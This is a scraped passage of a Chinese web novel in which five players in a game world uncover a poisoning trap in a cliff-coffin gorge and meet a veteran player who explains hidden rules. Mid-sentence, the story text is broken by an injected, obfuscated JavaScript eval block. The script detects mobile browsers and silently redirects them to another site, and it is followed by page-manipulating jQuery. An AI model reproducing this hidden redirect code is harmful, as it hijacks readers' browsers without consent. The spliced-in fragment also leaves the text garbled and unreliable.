他们五个人就好像五块行走的鲜肉,被放在悬棺裂谷这个潮湿的大盒子之中,正在逐渐变质长毛。这些黑点就是空气中无处不在、无孔不入的微生物,而犀照就像是紫外线灯,在杀灭这些让他们发霉的细菌和真菌,那传说中能延缓异化速度的黄符,想必就是食品干燥剂一类的东西了。 细菌……黑点……天一教…… “是……蛊?” 亲眼看到这一幕景象,视觉冲击和心理冲击都是非常震撼的,尤其是想到每一次呼吸都会吸进这些黑点,就不由自主地让人喉头泛酸,升起一股反胃感来。 师襄拿过犀牛角掐灭,它燃烧的速度太快了,已经从成年人的一掌大小变得只有小孩拳头那么大了,必须省着点儿,说不定关键时刻还能派上用场。 陆厌看着师襄的动作,突发奇想:“你们说,这东西片了泡水喝,能不能解了这种蛊?” 一直铁青着脸试图屏住呼吸的卫山河听到这句话,终于忍不住发出了一声干哕,其他人看着那青中发黑、油光水滑的犀牛角,也默默摇头,表示自己并不想喝这玩意。 按理说,他们现在应该继续去寻找那支带走了黄符的队伍,但在看过那震撼的一幕之后,即使犀照已经熄灭、黑点变回为纯粹的黑暗,一时间竟也没有人能主动迈步,离开这片被犀照清理干净的区域,再度进入黑暗之中。 这东西经不得细想,越想越令人头皮发麻,一路上以来出现的种种异状也都有了解释。一想到他们的视力受阻是因为被这些黑点遮挡了视线,而听声音模模糊糊则可能是被它们填满了耳道,那感觉就好像浑身有蚂蚁在爬,不适到了极点,师襄更是捂住嘴咳了两声,想到自己喉咙先前的异样感,她也有点想吐了。 只是难受归难受,却还有个疑问一直盘桓在师襄心头——为什么大家异化的速度会有所不同? 受限于体力,她的呼吸频率大概要比其他人高一些,所以吸入的黑点可能会更多,但卫山河竟然是异化最严重的,按理说,纯阳心法最为绵长和缓,这就解释不通了。 至于陆厌、殷炽和祝灵正三人,异化的程度其实差别不大,这其中,数祝灵正受影响最轻。但按理来说,殷炽向来喜欢用校服的长围巾挡住半张脸,和戴口罩其实没什么差别,如果真要区分的话,他应该是异化程度最轻的人才对,这一点也很奇怪。 无意间,师襄的目光落到地上那被猴子抓破的灯笼上,突然一愣。 她忽然想起,之前那山洞里半人半猴的老者,就是在这绿灯笼的照耀下完全变成了猴子。 这些绿灯笼是挂在山腹之中的,尤其是山洞附近,数量最多。天一教炼制这种邪蛊,肯定是用来害人,只怕那些开凿出来的山洞便是给被掳来的人用的……所以那挂了一路的绿灯笼,实际上很可能就是催命符,在催动蛊毒的效力,越是靠近它,人异化的速度就越快。 从他们发现那绿灯笼开始,掌灯的人就一直是卫山河,而他和殷炽又负责开路,并肩走在最前方;而在山洞里发现那些石刻文字之后,灯笼就被交到了师襄手里,直到刚才意外被猴子抓破,这盏灯都在她手中。 ……在这样漆黑的环境下,人对这样能够照明的灯笼有着天然的依赖感,他们也不例外,发现了灯笼,自然会为己所用。 师襄心头一寒,再次感到这所谓的悬棺裂谷看似安静,实则步步危机。他们已经很警惕了,却还是没能看穿这兵不血刃的陷阱,如果不是猴子撕破灯笼、把玩犀牛角,他们现在大概还被蒙在鼓里。 ——至于那只猴子做出的看似巧合的举动,很可能也是游戏的一种提示,一旦错过,恐怕就再也没有机会得知真相了。 在她沉思的这段工夫中,其他人也没闲着,动作麻利地裁了几块校服内衬,权作简易口罩使用。卫山河将其中一块递给她,师襄接过来,简单地对大家提了两句灯笼的事,一错眼,却看到他手背上已经有几根颜色极浅的绒毛了。 卫山河也注意到她的眼神,在师襄开口前抬手示意她别说话:“别提醒我,我看到它就想吐。” “你这洁癖发作起来,连自己都能嫌弃。”陆厌笑道,退到队伍后面,和祝灵正站在一起。 这就是他们最常用的队形,是一个继续前进的信号,殷炽一声不吭地接过火把,率先迈进那片黑暗里。 该出发了。 同样是在黑暗中沉默前进,这一刻,仿佛和他们刚进入悬棺裂谷时诡异地重合起来了,但几人的心态已经大为不同。 明明几个谜题都已经有了答案,最后的boss身份也被揭开,大家的心情却反而更加沉重。在伸手不见五指的死寂黑暗中跋涉已经让人非常压抑,更别提这黑暗其实是漂浮在空中、遮蔽天日的细小黑点,是会让他们异化成猴子的蛊毒,再加上视线、听力、嗅觉都被阻碍的不适感,如果这是在游戏里,师襄觉得,他们身上挂着的debuff一定已经溢出屏幕了。 这样安静地在山谷中穿行了一段时间后,打头的殷炽和卫山河同时停下脚步。 不用交谈,时刻戒备着的众人都听到了若有似无的对话声。这声音是从不远的地方传来的,说话的人离他们大概很近,交谈时也并没有放低音量,只是因为那些黑点的影响,一直走到近处,才能听到那低低的谈话声。 说话的人是一男一女,听声音都很年轻,像是玩家,但对话的内容极其诡异,一直围绕着一个人进行,名字听起来,像是“唐催寒”三个字。 男声问:“唐催寒呢?” 女声答:“不见了。” 这之后是几秒的沉默,紧接着,那男子又问道:“唐催寒去哪里了?” 女声回答:“不知道,没见到他。” 殷炽和卫山河对视了一眼,慢慢地挪步到一旁的山岩之后,将火把插进地里,这时候就又听到那男声问:“你看到唐催寒了吗?” 女声回答:“没有看到。” 他们二人的声音非常平淡,几乎没有任何感情起伏,不断地重复着大意相同的对话,虽然交谈的主题很正常,却硬生生给人听出了一种毛骨悚然的感觉。 唐门有个奇穴,叫做“曙色催寒”,这叫唐催寒的人,很可能就是他们之前碰到的田螺玩家,看样子,那交谈着的一男一女就是他的队友,而那个田螺玩家大概是和他的队友们走散了。师襄思索着,看了眼祝灵正,发现对方眼里有着相同的疑惑——那男声一直不断地询问着“唐催寒”的下落,仿佛很是着急,但听声音又好像只是随口一问那样稀松平常,而女声也是一遍遍回答着大同小异的答案,不厌其烦。 这种表现,隐隐让师襄心里升起了一种不祥的预感。 殷炽回头看她,以眼神询问:要出去吗? 师襄微微摇头,却又有点犹豫。她直觉这队人不能接触,但一直在这里暗中观察又不是办法。 就在这时,第三个人的声音响了起来。 第三个声音是个非常清脆的女声,她应该是刚刚走过来的,因为她一过来,另外两个人便停止了对话,只有她道:“那边也没看到有别的队伍。” 男声问:“唐催寒呢?” 那新来的女声道:“在找碧骨王蛇。” “碧骨王蛇”四个字一出,山岩后的五人精神便是一振,但奇怪的是,知道队友正在寻找boss,那三个人却完全没有要去帮忙的意思,先前一直追问唐催寒动向的男声也只是平平淡淡地“哦”了一声便沉默下来,仿佛就再也不关心了。 陆厌轻轻拍了拍师襄肩膀,等师襄转过头看他,便以气声问:“我隐身去看看情况?” 隐身确实该用在这时候,师襄正要点头,余光却看见另一点火光正从他们身后靠近。 那大概也是一支火把,光线十分微弱,不仔细看就会被忽视。看火光的位置,拿着火把的人个子很高,速度不快不慢,但走得十分平稳,脚步声越来越清晰,甚至有种被刻意加重的感觉。 对于前方交谈的三个人来说,他们此刻藏在山岩后面,还能卡一下视角,确保自己不被看到,但从后方来看却是一览无余,那从后面接近的人一定也注意到了他们这支队伍的火把。 在他们的全神戒备之中,来者的脚步声也迅速引起了另外三人的注意,那男声立刻便问道:“谁?” “我。” 低沉且有几分熟悉的声音响起,来者在离陆厌大概还有五六步之远的地方停下了脚步。暗淡的火光映出了他的脸与身形,这正是那个之前在黑暗之中与他们对话过的唐门玩家,此刻才显露出真容来,人就同声音一样,眉眼锋利,气势慑人。 面对着这个散发着危险气息的田螺玩家,几人的视线和关注点却不约而同地集中在了一点——他的肩上,整整齐齐地贴着黄符,不多不少,正好五张。 25. 第四天·悬棺裂谷(二十五) 既然已经被看到了,那就无所谓躲不躲藏了。 师襄正要开口说话,却看到那个叫唐催寒的田螺玩家做了个噤声的手势,随后竟然径直转过身,向黑暗中走去,似乎是要带他们去什么地方。 陆厌回头看向师襄,挑眉:跟上? 师襄微微颔首。 虽然是老玩家,但毕竟对方只有一个人,还主动远离了队友,也没什么可怵的。 离开时,唐催寒依旧在刻意加重自己的脚步声,他的队友听到了,又遥遥地问了一句:“唐催寒,你去哪?” 唐催寒冷漠回答道:“不用你管。” 虽然主动开口询问,但他的队友看起来却并不是很关心他,得到这样一个答案之后,竟然真就再不吭声了,连追上来看看的意思都没有。至于唐催寒,更是走得头也不回,他的肩膀上明明就贴着五张黄符,却似乎完全没有和队友共享的想法。 这支由老玩家组成的队伍还真是奇怪。师襄一边走一边想,而且目前为止,他们只“见”到了四个人,还有一个人不知道是一直没出声、还是根本就不在,她不由得想到了那只断手的主人。 但很快,师襄就顾不得考虑这个了,随着他们跟随着唐催寒逐渐深入山谷,她心中的疑窦也越来越重。 ——悬棺裂谷的地形其实算不上平坦,几乎遍布横突竖冲的山岩,在黑暗中走起来并不轻松,但唐催寒就好像是在自己家行走那样轻车熟路,甚至在拐了几个弯之后,竟然带他们走上了一条栈道。 这条栈道隐藏在两道石缝之间,十分难以察觉,一路盘旋上升,尽头则通往一处平整的小空地。令人惊讶的是,在这片空地上竟然生着一堆篝火,火上还架着一口石锅,锅里面咕嘟咕嘟地正煮着什么,旁边甚至有几张草席铺成的坐垫和床。 看样子,这里竟然像是个可以临时生活的秘密基地。 唐催寒回到这里,简直就像回到了家一样,只见他直接坐下,虽然语气还是很平淡,但已经没有了那种拒人于千里之外的冷漠,对他们道:“坐吧。” 明明是在悬棺裂谷,却硬生生搞出了一种在自家客厅招待客人的诡异感,师襄眉毛一挑,倒也真就和其他人坐在了草席之上。 看他们都坐下了,唐催寒也没有要解释的意思,竟抬手将自己肩膀上的黄符尽数撕了下来,直接递给师襄。 从刚刚开始,这个田螺做出的每一个动作都在师襄的意料之外,她愣了一下,没伸手去接,而是问道:“为什么?” 唐催寒看她不接,随手便把黄符放在了地上,用一只弩箭压住,对这能延缓异变的救命稻草根本没有半分紧张,只是淡淡道:“这里就是蒋玉凤会刷新出来的地方。时间一到,你们就直接回客栈吧。” “哇,兄弟,说得好像这里跟你家似的啊。”完全不能指望另外几个闷葫芦主动接话,陆厌伸手捡起符纸,一边分给众人一边笑道,“符纸给了我们你怎么办,在这鬼地方安窝,不怕变成猴子?你队友又怎么办?” 听他这么说,唐催寒抬起眼,语气也冷了几分。 “我没有队友。” 他似乎不太想继续这个话题,只是道:“这里不在地图boss碧骨王蛇的活动范围之内,对新玩家来说算是半个安全点,蒋玉凤刷新了就赶紧走。” 陆厌听他这么说,忍不住就是一笑,心说,完了。 他们队的师襄,遇事冷静,机敏缜密,但偏偏是个吃软不吃硬的暴脾气,生平最讨厌被看轻,唐催寒用这种语气跟她说话,师襄能听进去才是见鬼了。 果然,就看师襄也把脸一板:“首先,感谢你的慷慨,不过我们队虽然确实是新玩家,倒也没怕到时间一到就要逃回客栈的地步,实不相瞒,那条碧骨王蛇,我们也是准备把它宰了拿掉落的。如果你有什么必须劝说我们离开的理由,那不妨说清楚一些,大家一起讨论讨论。” 她说完,转头看队友的反应,便看到祝灵正低着头垂着眼盯着自己衣摆上的花纹,殷炽坐在火光都快要照不到的地方,而卫山河已经进入了社恐的僵直状态,又面无表情地把头转了回来。 ……让他们加入对话,大概是有点强人所难了。 唐催寒的脾气看起来却似乎没有表面上那么差,听她这么说,倒也不生气,淡漠道:“不是我不想说,有些事情只有过了第五天才会知道,我现在说出来,你们碍于规则,也听不见。” 这倒是一个新信息,师襄默默记下,对他说:“或许我们知道的比你想象得更多一些……方便的话,不如将那些能说的说来听听。” 听到师襄这么说,唐催寒微微调整了一下坐姿,篝火跳动的阴影落在他的脸上,明明暗暗,看起来有一种说不清道不明的落寞感。 他一开口,就扔出了一个重磅炸弹: “我是三周目的玩家,也是第三次来到悬棺裂谷这张地图。” 听到他这么说,众人虽然惊讶,但也有一种“果然如此”的感觉,这样一来,他对悬棺裂谷的熟悉就有了解释。 “浪客行的设定,是蒋玉凤将自己所收集的形形色色的故事编撰而成的一本书。”唐催寒道,“去掉通关之后的第九天,游戏中的八天,分别对应的,是一篇文章之中的起、承、转、合。前四天,充其量只是让玩家们熟悉和适应机制,而到了第五天——” 说到这里,他的声音忽然就消失了。师襄只能看到他的嘴唇开合,却完全听不到他讲了什么,想必,这就是唐催寒之前所说的“规则”,在他们还没有进入第五天前,这些规则对他们来说都是完全保密的。 唐催寒看他们的表情,顿了一顿,换了个话题:“山洞中的石刻文字你们看到了么?” “看了。”陆厌回答。 “浪客行中,有一种特殊地图。”唐催寒道,“这种地图承载的故事是长期存续着的,和现实有很大的关联,对于多周目玩家来说,每一次进入,都是在不同的时间节点,悬棺裂谷就是这种图。我第一次来到这里时,悬棺裂谷只是一张普通的图,和游戏中差别不大,那时候这张图的红名怪,是野兽。 “二周目,我又被随机到了这张地图,那个时间点就是石刻文字所记载的天一教和南诏乌蛮勾结、占领此地炼制毒蛊的时间,而地图红名怪已经变成了天一教。 “最后,就是现在你们所见到的悬棺裂谷了。” 师襄了然道:“所以你对这里才会这么熟悉——在悬棺裂谷被天一教改造成现在这样之前,你就已经看到过它本来的样子了。” 唐催寒微微一颔首:“上一次进入时的剧情,是天一教在悬棺裂谷的深处,发现了一条冬眠巨蟒,于是将它从洞穴之中拖出,以邪术加以改造,并用它的躯体为容器炼制蛊毒。后来这条巨蟒从冬眠之中醒来,被改造过后,天一教根本无力控制它,反而被狂性大发的它尽数杀死,而他们正在制作的奇诡蛊毒没了约束,便开始自由繁衍。我通关离开这里时,看到的,就是无数黑点正在从谷底缓缓上浮的景象。” “……原来如此。”陆厌点头,又疑惑道,“那你也只是比我们多了解一些之前发生的事情而已,也不能免疫这里的蛊毒吧?黄符全给我们了,你不怕变成猴子么?” “无所谓。”唐催寒却道,他看起来一点也不担心自己被异化,只是说,“那些符是用碧骨王蛇的血画出来的,它的血在经过处理之后,对蛊毒有一定程度的抑制作用,至于符的图案,我了解得也不多。” 语毕,他若有所指地看了一眼篝火上架着的石锅,那里面盛着的,想必就是碧骨王蛇的血了,也不知道他是如何弄到的。 原来是这样。卫山河听在耳中,低头看了一眼自己的手背。自从贴上符纸之后,他就没有再继续异化了,没想到这符纸的玄妙之处竟在于绘制的材料。 “这是你们的第几天?”唐催寒问道。 “第四天。”师襄道,“你之前猜得很准。我很好奇,这又是为什么?” “从第五天开始,就是‘起、承、转、合’之中的‘转’,你们会进入到一个全新的规则里。”猜对了,唐催寒却一点也不惊讶,淡淡道,“向其他人暴露自己的玩家身份是致命的,只有前四天的新人才会主动告诉别人自己也是玩家。至于原因,我说了,你们大概也听不见。” 听到他这么说,师襄却心里一动。一个经过了三周目的老玩家就在眼前,这是一个十分难得的机会,正好可以来证实一下他们的猜测。 她说:“那我来猜,如果我说得对,你就点点头。” 唐催寒抬眼看着她,便听师襄问道:“第五天之后,不能向其他人暴露自己的玩家身份,是跟PVP机制有关么?” 唐催寒点了点头。 “但同一批玩家之间应该会比较了解彼此的身份才对。”师襄道,“这就说明,存在着什么情况,让玩家们之间不能互相辨认。” 唐催寒先是颔首,又微微地摇了摇头。 “不是玩家们不能互相辨认的问题……”师襄略一沉吟,“不能向对手暴露身份,说明对手不知道我们是玩家还是其他人,但玩家看起来明明就是玩家的样子,和游戏地图里的原住民差别很大,是很难混淆的。” “所以对手大概并不是会把我们当成原住民,而是其他的什么。” 一直默不作声的殷炽道。听到他这么说,唐催寒点了头。 他的队友明明就在这张图里,他却说自己没有队友。结合第三天刚回到客栈时,孟秋所说的“守住身份”一事,师襄深吸一口气,问:“没有通关的玩家,或者在通关时死去的玩家,会被复活,然后强制安排敌对身份,充当玩家们PVP的对手吗?” 唐催寒既没有点头,也没有摇头,摇曳的火光明暗不定,在他的眼里映出小小一点沉寂的亮色,只听他漠然道:“死了就是死了。” “那就是说……”师襄沉声道,“其实是他们被变成了类似于JJC人机一样的存在,负责PVP部分,会无差别攻击其他队伍的玩家。” 唐催寒没有立刻回答,而是垂下眼,神色晦明不清。几个人紧紧地盯着他的动作,连祝灵正都抬起了头,在无言的注视之中,便看他极缓慢、极缓慢地,点了点头。 ——虽然早有猜测,但在亲眼看到唐催寒点头之后,师襄的心里还是一紧。 她想到唐催寒一直在强调自己没有队友,忽然便有些语塞,一时不知道该说些什么。 难怪刚遇到的时候,唐催寒会毫不犹豫地攻击他们,而在猜到他们是新玩家之后便停手了。现在想想,他说“不想死就别跟着”,恐怕也是为了防止他们撞上被人机化的“队友”。 “那你,为什么不离开浪客行呢?” 沉默片刻后,陆厌问。 唐催寒听到他这么问,笑了笑。 这还是他们第一次见唐催寒笑,这个冷冰冰的田螺玩家笑起来也没什么温度,反而有种自嘲落寞的感觉。他说: “一开始不是不想走,而是不能走。后来可以走了,反而又觉得是留下还是离开,都无所谓了。” 他说得语焉不详,陆厌一愣,还想再问,却看到他摇了摇头,道:“提前知道这些事情,对你们来说只有坏处,不要再问了。” “抱歉。”师襄立即道,她是再标准不过的吃软不吃硬,想到唐催寒的队友都已经变成了人机,心中不忍,语气也跟着迅速地软化下来,“那有什么情报是我们现在可以知道的吗?” 唐催寒想了想,慢慢道:“一般来说,老玩家和新玩家很难随机到同一张图。能排到一起,说明你们队伍在蒋玉凤那里的评分很高。” 对于这个评价,其实众人都不算太意外。他们队的作风比较硬核,热衷于卡着二十四小时的点打boss,然后在第一时间功成身退回客栈,想来评价肯定不会低。师襄沉吟道:“孟秋也说过,客栈的规则在保护新玩家……” “是的,如果你试过走上三楼就知道了。”唐催寒道,“不同批次的玩家就像在不同CD的副本里,在客栈中根本无法看到对方。而且,在浪客行里度过的天数不同,导致玩家们之间的经验差别也会很大,就算是……对新玩家来说也很棘手。” 他跳过不语的那个词,看口型,就是“人机”。 人机,或许是他们从唐催寒这里得到的最有用的信息了,但考虑到他的队友的问题,尽管很想了解更多情况,师襄也不好意思多问。她还在沉思,却听到祝灵正轻声开口道:“你的队友都变成人机了,所以,他们是都已经……?” 师襄陆厌殷炽卫山河齐刷刷转头看他! 祝灵正被他们整齐划一的动作吓了一跳,有些茫然,最后默默地低下头,盯着地面不动了,假装自己不存在。 “不好意思啊。”陆厌立即道,“我们这个队友脑瓜有点直——” “不。”唐催寒却皱起眉头,似乎在考虑该怎么回答,“我的……队友……” 要说的话,似乎让他感觉到很难说出口,唐催寒沉默了下去。篝火燃烧,发出噼噼啪啪的声音,火星轻盈地跳动着,火光照不亮的阴影投在他身上,看起来有种很沉重的感觉,好像在肩头压了座沉甸甸的山。 “他们……和其他队伍一样。”唐催寒慢慢道,“都离开了浪客行。” 这个答案完全出乎众人的意料。唐催寒看着他们脸上的疑惑,又笑了一下,这次和之前那个自嘲的笑不同,就是毫无意味的、很淡很淡的一个笑容。 他说了一句看似和之前的话题毫不相关的话。 “一个故事想要一直继续下去,就需要一直有主角存在。” 完全不给他们任何思考的时间,他又说:“不能再往下说了,这个话题到此为止吧。其实很多事情,等你们度过第四天回到客栈,就会知道了。” 虽然心里还有很多疑问,但看他的态度,确实是不打算多说了,师襄也只得应了声好。她感觉自己一个头两个大,唐催寒看似说了不少事情,其实很多话说得都模棱两可,其中存在着无数的可能性,目前根本没法提取出多少有用的信息。 “我还想问一个问题。”卫山河在此时道,“第五天也是和之前一样,在每张地图里待够一天就可以离开么?” ——卫山河会这么问,纯粹是觉得,与他们这一队不同,唐催寒似乎已经在这里停留很久了。即使是先前在不同的时间线中来过两次,但对于变化过的地图来说,他依旧也熟悉得有些过分。 这是涉及到规则的内容,唐催寒看了他一眼,摇了摇头,道:“前四天充其量只是让新手适应这里的环境,没什么具体的任务。” 在座的没一个是傻子,都能听懂他的话外音,显然,从第五天开始,玩家们就要面对“具体的任务”了。 卫山河又问:“那你的任务是什么?……呃,这是可以说的吗。” “无所谓,可以说。”唐催寒淡淡道,“我的任务是比另一队更快拿到碧骨王蛇的血,我已经做完了。” “这里还有另外一队玩家?”师襄抓住重点。 “已经没有了。”唐催寒看了一眼横放在膝上的古雀翎,“……处理完了。” 如果坐在这的是另一队人,或许已经因为这句话而开始戒备,胆子小一点的,可能会直接跳起来亮武器也说不定。但师襄他们几乎毫无反应,最多只是因为“处理”这个听起来非常冰冷的词皱了一下眉而已。 “所以他们也是人机咯。”陆厌道。 虽然是人机,但好歹是依照同期玩家做出来的NPC,唐催寒也能下得去手,看来他们那批玩家之间的关系不怎么样。师襄一边想一边拿出香篆钟看了一眼,那盘香才燃烧了四分之一,也不知道这一天还剩多长时间。 她刚要把香篆钟放回去,却看到唐催寒也在看她手里的钟。 “这个是‘香篆钟’,计时用的。”陆厌也注意到了,便拿出自己的那一只,抛给他,“每四个小时就要重新点一次。” 唐催寒接住那只钟,掀开盖子看了一眼,里面的花纹还是唐门款式的。这只钟虽然小,但看得出来设计很精妙,他的眼神柔和了一些。 “这是你们做的么?” “客栈换的。”陆厌道,“不过应该是我们同期的玩家做的吧,放到赵云睿那里卖的,还挺好用。” 唐催寒点了点头,也拿出一个东西来,一翻手,掌心中露出只小巧玲珑的鸟笼来,有只琉璃鸟停在这鸟笼的中间,鸟身中盈满了水,正在一滴一滴顺着鸟嘴滴落下来。这只琉璃鸟的头与足都做了转轴设计,不难看出,当水充满鸟笼时,它便会整个翻转,而水又会顺着鸟喙涌入琉璃鸟中。 “这是我们那时候用的。”他轻声道,“只是体积太小,只能用来计算一时辰以内的时间。” “精细计时也很不错,而且这个水漏的外观很好看。”师襄说,脑子和嘴有些许的脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691173|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节——她觉得现在这一幕简直也太奇怪了。明明不久之前,他们还无比谨慎地在黑暗之中穿行,担心自己马上要变成猴子,现在却围坐在篝火前讨论道具。 听到她这么说,唐催寒微微勾了勾唇,笑意一闪而过。他凝望了自己掌中的琉璃鸟一会儿,表情似是有些怀念,随后又将它小心地收了起来。 “实用的话,还是这种能长时间计时的钟更好一些。”他道,将香篆钟还给陆厌。 陆厌笑着摆了摆手:“送给你吧,我们队人手一只,正好它还是个唐门的标志。” 唐催寒却愣了一下。 这个从初登场起就又冷又拽的唐门此刻看起来,竟然难得的有些不知所措,停顿了一会儿才说:“但我没有什么能和你们交换的。” “不需要交换。”师襄也说,“你也帮了我们很多,还把符都给了我们。这香篆钟卖得也不贵,我们不缺玉签。” 殷炽想帮腔,憋了半天成功憋出一个字:“对。” 另外两个社恐受到启发,卫山河:“没错。” 祝灵正:“是这样。” 唐催寒默然,将香篆钟也收好:“我去把碧骨王蛇杀了,你们摸掉落吧。” 师襄大惊,怒道:“不行——知道你很强了,但是放着我们来!没有战斗就没有成长!我们自从进了这个破图,连一次架都还没有打过!” “哦……”唐催寒被她唬得一愣,顿了一下才问,“你们队的队名是什么?” “……” 这个问题成功让师襄闭了嘴,陆厌倒是笑嘻嘻地回答:“我们的队名?叫做‘好莱坞’。” “……为什么?” “因为大家都很能装。”陆厌坏笑道,“是人手一座小金人的程度了——除了我,我表里如一。” “你才是最大的戏精。”祝灵正忍不住说。 “不是,作为一个衍天,你可是标准的‘演员’啊。”陆厌嘎嘎直乐,“你好意思说我?” 唐催寒看着他们斗嘴,将古雀翎插回腰侧,慢慢地站了起来。他一起身,几人也不再说话了,都抬头看着他的动作。 “碧骨王蛇,就在下面一层峡谷的最深处,盘绕在一根石柱上。”唐催寒面对众人的注视,淡淡道,“先前它受了伤,现在应该也很虚弱,对你们来说,难度应该不大。我不会再回这个地方了,杀死碧骨王蛇之后,你们可以回来休息。” 师襄一愣,问:“你要去哪里?” 唐催寒摇了摇头。他站在光与暗的交界处,看起来又有些初次见面时那样冷冰冰的感觉了,连一句再见也没说,脚步无声无息,融入了黑暗之中。 随着唐催寒离开,这片空地上重新恢复了安静。 陆厌捡起一根木柴拨弄了一下燃烧的火堆,看着小火星四处乱迸:“这兄弟还真是说走就走……悬棺裂谷简直跟他家后花园似的。” “毕竟是老玩家。”外人一走,卫山河终于能流畅地加入到对话中来,“但是挺意外的,一开始还以为他和我们会是敌对关系,没想到连黄符都直接给我们了。” 受到符的抑制,他手背上的猴毛已经不再继续生长,维持在了一个还算安全的程度上。不仅如此,唐催寒带他们来到的这片空地,应该就是整张地图内的最高点,他也说过,这里不在碧骨王蛇的活动范围之内,连蒋玉凤都会在这里刷新,可以说,目前他们队伍已经没有什么紧迫的危险要去面对了。 这是第四天,明明应当是他们到目前为止所经历的最难的一天,而最开始的确也有些惊险,但现在,却几乎可以用“祥和”来形容。 “休息一下,准备上难度。”师襄深谙生于忧患、死于安乐的道理,毫不犹豫道,“既然不用担心变成猴子,那么我们就能放手和boss一战了。陆厌,碧骨王蛇都有什么技能?” 作为一个明教,陆厌对浪客行算得上是十分了解,当即便挨个数出来:“毒池、毒噬,一个是脚底下的小圈,一个是大范围aoe,这两个走出去就行。还有个蛇心,是附带伤害的击退,距离应该是八尺左右。最后一个是万鳞,看到读条打断就可以了。” 游戏里的浪客行能看到读条,但这里可没有读条给人看。殷炽问:“万鳞是什么效果?” 陆厌双手一摊:“打断了,不知道。” 师襄无语:“……就没有不打断的时候吗?” “我们带浪客行那是很注重效率的。”陆厌讪笑道,“一般情况下,碧骨王蛇放几个毒池就该死了,看到蛇心都是我发挥失常。” “但是这个boss在游戏里一直盘在石柱上,所以不算太难。”祝灵正说,“这里的蛇是能活动的。” 之前遇到的断手就是碧骨王蛇卷走玩家时卡在木楔上撕扯下来的,还有那只在黑暗中被袭击的猴子,都在表明着,它可以在这片“黑暗”之中无声无息、任意地活动。 说话间,几个人已经站了起来,活动着关节手腕,准备顺着那条小栈道回到下面一层峡谷去。卫山河看了一眼那篝火堆上的小石锅,里面还煮着蛇血,也不知道这蛇血有什么奥妙,既不冒烟、也不会沸腾,连点热乎气都没有,红中泛黑,像块凝固的胶体。 他不禁问道:“唐催寒就这么走了……连这个都没带,他不怕自己变成猴子么?” 师襄摇了摇头。她感觉那个老玩家身上有种很古怪的气质,整个人处于一种游离在边缘的状态,好像生和死对他来说都不是那么重要。 “走吧。”她说。 返程时,栈道旁的石壁上嵌着的火把都已经被点燃了,勉勉强强能在一片黑暗之中隐约照出路的轮廓来,尽管没有唐催寒再带路,他们回到下一层峡谷的速度反而要比来时快了一些。 几人一路直行,不多时便回到了之前的位置。唐催寒的人机队友已经不在那里了,地上散落着废弃的机关零件,岩壁旁完全枯萎的荆棘上挂着沾了血的绷带,从现场这一片狼藉来看,似乎他们也遇到了碧骨王蛇的袭击。 “人机的战斗力也不弱。”殷炽走在最前面,火把一晃,就看到大片大片被崩碎的巨岩,刀痕入石,满地齑粉,似乎是经过了一场恶战。他仔细观察过现场,就发现岩缝中还嵌着几片锋利的蛇鳞,显然碧骨王蛇也是吃了点亏的。 “这条蛇好像吃不饱的样子。”卫山河道,“它的活动比一开始频繁了很多。” “正常,之前那田螺兄弟不是说它受伤了么?大多数动物在受伤的时候都需要大量进食来补充营养。”陆厌说,“它现在肯定疯狂地想吃东西,咱们在它眼里,大概就像满地乱跑的小零食一样。” 祝灵正想了想:“那这零食有点扎嘴……” 他们说话间也没停下脚步,不一会儿,就走到了峡谷的深处。黑暗中行走,几人的衣袖时不时就会碰到什么东西,还能嗅到隐约散发出的霉败的臭味,火把贴近了,才能看到是自头顶垂下来的一口口朽烂黑棺。 行走在诸多棺材之间的感觉十分差劲,渐渐地,他们也就不再说话了,只是提高了警惕,全神贯注地注意着前方的黑暗。而自那黑暗之中,也确实有模糊的异响传出。 因为弥漫在空气之中的蛊毒,那阵响动并不算太清晰,但依稀能听出,是非常尖利的咆哮声。这种咆哮并不是人所能发出来的声音,更像野兽的尖叫,一声紧接着一声,还有不少应和的声音,此起彼伏,没法判定具体的方位。如果不是蛊毒影响,想必这声音回荡在悬棺裂谷之中,一定非常惊悚。 伴随着这诡异的叫声,地面竟然隐隐开始震荡起来,有细碎的石块从岩壁上纷纷滚落。 很快,那不规律的震荡越来越近,几个人都有些站立不稳,殷炽扫了眼旁边悬挂棺材的粗麻绳,脚下发力跳了起来,蹬着高低错落的棺材,抓住绳子向上攀高一截,另一只手将燃烧的火把远远掷出。 悬棺裂谷十分阴湿,植被多是苔藓地衣,也不用担心扔出的火把会烧起来。但那火把只是划出了一道不甚明显的亮色弧线,然后迅速地消失在了黑暗之中,与其说是自然熄灭,更不如说是瞬间被什么给湮灭殆尽了。 只是这短暂亮起来的几秒,殷炽已经看清了那逐渐逼近的东西,他愣了一下。 “是什么?”卫山河在他脚下扬声问。 “靠边站!”殷炽道,声音未落,人已经跳了下来,挡在其余人身前迅速向岩壁靠近,远离山崖的一侧,“是野猪……呃,很多野猪?” 26. 第四天·悬棺裂谷(二十六) 俗话说,“一猪二熊三老虎”,在野外遭遇野猪,比遇到熊和老虎还要可怕。 这倒不是说野猪就一定比熊和老虎强了,而是这种动物在野外比较常见,天性又暴躁凶恶,几乎没有理性,皮肤也格外坚硬粗糙,连猎枪的子弹都很难打穿,至于浪客行里的野猪,大概只会比普通野猪更加难对付。 不过之前大家差不多都猜到这张地图有野猪了,倒也没太过惊讶,只是野猪群狂奔而来的声势太过惊人,师襄暗暗点头,心中便想,第四天毕竟还是第四天,难度还是在的。 这条山道,一边是高耸的岩壁,另一边则是深不见底的悬崖,所幸地形勉强还算宽敞。殷炽在高处已经看好了一处凹陷,跳下来后便迅速将其他人推进这处不大的空洞之中,几乎刚站稳,当先的野猪就已经冲了过来。 